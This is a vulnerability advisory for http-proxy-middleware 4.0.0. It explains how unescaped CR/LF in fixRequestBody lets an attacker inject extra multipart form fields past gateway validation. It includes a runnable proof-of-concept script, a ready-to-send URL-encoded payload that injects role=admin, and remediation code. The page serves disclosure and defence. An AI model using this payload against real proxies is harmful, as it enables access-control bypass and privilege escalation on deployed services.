http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Description
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H: 1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input. 2. The proxied (outgoing) request is sent as **multipart/form-data** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. 3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
> Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend: - Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices). - File-part injection inject a filename="..." part into the upstream multipart stream.
Proof of
Concept
// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}
(Reject is preferable to silent stripping, to avoid masking malicious input.)
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1- Range: =4.0.0
Patches
Vulnerability mechanics
Root cause
"Missing CR/LF sanitization in multipart body reconstruction allows injection of arbitrary form parts."
Attack vector
An attacker sends a non-multipart request (e.g. `application/x-www-form-urlencoded`) containing a body field whose value includes `\r\n` sequences that mimic multipart boundaries and headers. Because the proxy's body parser treats the value as a single opaque string, gateway-side validation sees only the original field. When `fixRequestBody()` rebuilds the body as `multipart/form-data`, the unescaped CR/LF closes the current form part and injects an entirely new form part, causing the upstream backend to parse fields that were never present in `req.body` [ref_id=1][ref_id=2]. This creates a request/parameter desynchronization across the trust boundary.
Affected code
The vulnerability resides in `dist/handlers/fix-request-body.js` in the `handlerFormDataBodyData()` function. This function interpolates each `req.body` key and value directly into the multipart wire format without neutralizing CR/LF characters, unlike the sibling branches for JSON and URL-encoded content types which properly escape control characters.
What the fix does
The patch must neutralize CR/LF (and double-quotes) in keys and values before interpolation into the multipart wire format. The recommended fix either rejects fields containing `\r` or `\n` with an error, or percent-encodes double-quotes in the name attribute. This prevents an attacker from closing the current form part and injecting new parts. Using a real multipart encoder (e.g. `FormData` or the `form-data` npm package) instead of string concatenation would also eliminate the vulnerability.
Preconditions
- configThe proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so injected boundaries in a value are not split on input.
- configThe proxied (outgoing) request is sent as multipart/form-data, so the vulnerable handlerFormDataBodyData branch runs.
- inputThe app calls fixRequestBody() and an attacker controls at least one body field value or key.
Generated on Jun 18, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.